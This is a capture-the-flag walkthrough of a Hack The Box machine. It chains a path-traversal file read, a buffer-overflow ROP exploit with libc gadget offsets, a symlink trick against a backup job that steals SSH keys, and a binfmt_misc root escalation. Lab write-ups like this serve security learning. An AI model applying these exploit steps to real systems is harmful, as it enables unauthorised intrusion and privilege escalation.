$ nmap -p- --min-rate 5000 10.129.227.96
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-10 23:13 EDT
Nmap scan report for 10.129.227.96
Host is up (0.024s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
LFI -> activate_license Binary
When we visit port 80, there's an obvious LFI present:
I was a bit lazy, so I created a quick Python script to read the files:
Then, use wfuzz to find the activate_license binary.
$ wfuzz -c -w path_variables -u http://10.129.227.96/index.php?page=../../../../../../../..FUZZ/activate_license /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.227.96/index.php?page=../../../../../../../..FUZZ/activate_license
Total requests: 8
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 302 0 L 0 W 0 Ch "/usr/local/sbin"
000000003: 302 0 L 0 W 0 Ch "/usr/sbin"
000000008: 302 0 L 0 W 0 Ch "/usr/games"
000000007: 302 0 L 0 W 0 Ch "/usr/local/games"
000000005: 302 0 L 0 W 0 Ch "/sbin"
000000002: 302 0 L 0 W 0 Ch "/usr/local/bin"
000000004: 302 53 L 462 W 22501 Ch "/usr/bin
Seems that /usr/bin/activate_license is where it is at. We can download this and try to run it:
$ curl http://10.129.227.96/index.php?page=../../../../../../../../usr/bin/activate_license
$ ./activate_license
Error: specify port to bind to
$ file activate_license
activate_license: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=554631debe5b40be0f96cabea315eedd2439fb81, for GNU/Linux 3.2.0, with debug_info, not stripped
This confirms that this is a binary exploitation challenge. We can being with reverse engineering the binary in ghidra.
Anyways, we can continue with our enumeration of the webpages. We can use this LFI to read the source code of the pages. There was an activate_license.php file here too.
It seems that this thing takes the input from the file we uploaded and sends it to the activate_license file on port 1337. We can grab this file and run it on our own PHP server.
$ php -S localhost:8000
Our script would have to send input to this file in order for it to be sent to the binary.
Proc + Binary Enum
We can continue to enumerate the processes present on the server. First, I want to enumerate what PID is the activate_license binary using:
$ wfuzz -z range,1-65535 -u 'http://10.129.227.96/index.php?page=../../../../../../../../proc/FUZZ/cmdline' --ss license /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.227.96/index.php?page=../../../../../../../../proc/FUZZ/cmdline
Total requests: 65535
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000432: 302 0 L 1 W 31 Ch "432"
Then, we can find out what is being run:
$ curl http://10.129.227.96/index.php?page=../../../../../../../proc/432/cmdline -o test
$ cat test
/usr/bin/activate_license1337
We can then enumerate /proc/432/maps in order to see the libraries loaded in memory space.
First we can see that PIE is enabled on this binary:
gdb-peda$ checksec activate_license
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
NX is also enabled, so we probably need to do a Ret2Libc exploit after leaking the libc address. Within the activate_license function, there's a BOF vulnerability due to the hardcoded buffer length and lack of length validation. Furthermore, the first 4 characters read from input are the buffer length used:
So we can probably overwrite this with a huge number of bytes. I ran the binary on my own machine on port 5555, and it seems to take some input.
From reading ghidra, it appears that it does some SQL stuff with our input after getting it:
So from this, it seems that the binary uses both libc and libsqlite3 within this function. We can download both of them from the machine itself.
From reading a writeup, I learned that because we have access to the libc files directly, we can actually call mprotect. This function would basically make the stack executable, allowing us to inject shellcode instead of hopping all over the place with a Ret2Libc.
However, it should be noted that it is possible to run the exploit even without this. This is because we can just call system to execute our shell instead.
Now, we need to figure out how to cause a crash in the binary such that we can control the execution flow.
$ gdb -q --args ./activate_license 1337
Reading symbols from ./activate_license...
gdb-peda$ set follow-fork-mode child
gdb-peda$ run
Starting program: /home/kali/htb/retired/activate_license 1337
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] starting server listening on port 1337
[+] listening ...
Afterwards, we can create a quick Python script to send the input:
from pwn import*import sysmsg = sys.argv[1].encode()r =remote('localhost', 1337)r.send(p32(len(msg), endian='big'))r.send(msg)
When run, our gdb window shows that it crashes with a pattern of length 2000.
Then, we can find the system function, ROP gadgets and a writeable section of memory using these base addresses:
system =p64(libc_base +0x0000000000048e50)writeable =p64(license_base +0x4000)pop_rdi =p64(license_base +0x0000181b)# pop rdi; ret;pop_rdx =p64(libc_base +0x000cb1cd)# pop rdx; ret;mov =p64(libc_base +0x0003ace5)# mov qword ptr [rdi], rdx; ret;
Then once we have these, we can use this to find the offset and write a system command to the binary. The script used in the guide uses a basic bash shell and inserts it in:
Then, the ROP chaining occurs, where the command is written into the memory space 8 bytes at a time:
for i inrange(0,len(cmd),8): rop += pop_rdi rop +=p64(writable + i) rop += pop_rdx rop += cmd[i:i+8].ljust(8, b"\x00") rop += mov
Afterwards, the whole ROP chain is written into a file and sent to the remote web server. This is done because the web server accepts file uploads and sends the file contents directly to the activate_license binary, which would trigger the shell.
If this script is run, it gives us a reverse shell that we can upgrade.
Privilege Escalation
Backup Symlink Exploit
The first few things we notice is that there's a few backup zip files in the directory we are in:
www-data@retired:/var/www$ ls -la
total 1512
drwxrwsrwx 3 www-data www-data 4096 May 11 04:59 .
drwxr-xr-x 12 root root 4096 Mar 11 2022 ..
-rw-r--r-- 1 dev www-data 505153 May 11 04:57 2023-05-11_04-57-01-html.zip
-rw-r--r-- 1 dev www-data 505153 May 11 04:58 2023-05-11_04-58-09-html.zip
-rw-r--r-- 1 dev www-data 505153 May 11 04:59 2023-05-11_04-59-01-html.zip
drwxrwsrwx 5 www-data www-data 4096 Mar 11 2022 html
-rw-r--r-- 1 www-data www-data 12288 May 11 04:55 license.sqlite
If we list the timers, we can see that there's a website_backup script being run somewhere:
www-data@retired:/var/www$ systemctl list-timers
NEXT LEFT LAST PASSED UNIT ACTIVATES
Thu 2023-05… 35s left Thu 2023-05-… 23s ago website_back… website_back…
I ran a grep to view files that had html.zip within them and found one:
This thing backs up the entire /var/www/html directory and zips it. This is exploitable because we can create a symlink to the entire /home/dev directory within the backup file.
We can see that it works, and now we can grab the user's private key and ssh in. We can then grab the user flag.
Emuemu
Within the user's directory, there's an emuemu folder:
dev@retired:~$ ls
activate_license emuemu user.txt
dev@retired:~/emuemu$ ls -la
total 68
drwx------ 3 dev dev 4096 Mar 11 2022 .
drwx------ 6 dev dev 4096 Mar 11 2022 ..
-rw------- 1 dev dev 673 Oct 13 2021 Makefile
-rw------- 1 dev dev 228 Oct 13 2021 README.md
-rw------- 1 dev dev 16608 Oct 13 2021 emuemu
-rw------- 1 dev dev 168 Oct 13 2021 emuemu.c
-rw------- 1 dev dev 16864 Oct 13 2021 reg_helper
-rw------- 1 dev dev 502 Oct 13 2021 reg_helper.c
drwx------ 2 dev dev 4096 Mar 11 2022 test
The contents of reg_helper.c is rather interesting:
This file is executable by us, and it seems to use binfmt_misc or something. The Makefile would create the binary and within it, it runs setcap:
dev@retired:~/emuemu$catMakefileCC:=gccCFLAGS:=-std=c99-Wall-Werror-Wextra-Wpedantic-Wconversion-Wsign-conversionSOURCES:= $(wildcard*.c)TARGETS:= $(SOURCES:.c=).PHONY:installcleaninstall: $(TARGETS)@echo"[+] Installing program files"install--mode0755emuemu/usr/bin/mkdir--parent--mode0755/usr/lib/emuemu/usr/lib/binfmt.dinstall--mode0750--groupdevreg_helper/usr/lib/emuemu/setcapcap_dac_override=ep/usr/lib/emuemu/reg_helper@echo"[+] Register OSTRICH ROMs for execution with EMUEMU"echo':EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu:' \|tee/usr/lib/binfmt.d/emuemu.conf \|/usr/lib/emuemu/reg_helperclean:rm-f-- $(TARGETS)
So this bianry has cap_dac_override capability. There are some exploits for binfmt_misc that would spawn a root shell if we can write to the /proc/sys/fs/binfmt_misc/register file, of which this binary can.
We have to edit the exploit a bit. First we can remove all the checks on the writeability of the above file:
#function not_writeable()#{# test ! -w "$mountpoint/register"#}# not_writeable && die "Error: $mountpoint/register is not writeable"
Then, since reg_helper is the binary that is allowed to write to that file, we have to change the last few lines of the exploit to use that binary instead:
The /usr/lib/emuemu/reg_helper binary is used because it is owned by root. The one within our home directory is owned by us, so it won't work in bypassing restrictions. After downloading it and running it, we would get a root shell.
This machine was hard for me, and I used a writeup for initial access and emuemu exploitation.